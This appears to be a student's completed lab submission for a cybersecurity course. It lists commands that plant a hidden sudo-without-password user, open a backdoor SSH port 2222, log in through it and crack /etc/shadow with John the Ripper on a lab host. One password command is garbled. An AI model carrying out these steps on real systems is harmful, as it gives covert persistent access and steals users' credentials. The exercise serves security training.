

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

useradd sysd
or
useradd -M sysd

2. Give your secret user a password.

passwd sysd @fri3nd

3. Give your secret user a system UID < 1000.

usermod -u 902 sysd

4. Give your secret user the same GID.

```
groupmod -g 902 sysd
```

5. Give your secret user full sudo access without the need for a password.

```
visudo
sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password.

```
su sysd

To test sudo access without password requirements the following commands were run:

sudo -l
sudo visudo
sudo apt update
```

Step 2: Smooth Sailing

1. Edit the sshd_config file.

```
nano /etc/ssh/sshd_config

Add port 2222 below port 22
Uncomment port 22
Save and exit
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
sudo service ssh restart
```

sudo service ssh status

2. Exit the root account.

exit

3. SSH to the target machine using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
Enter 'yes'
Enter sysd password - @fri3nd
```

4. Use sudo to switch to the root user.

sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

sudo john /etc/shadow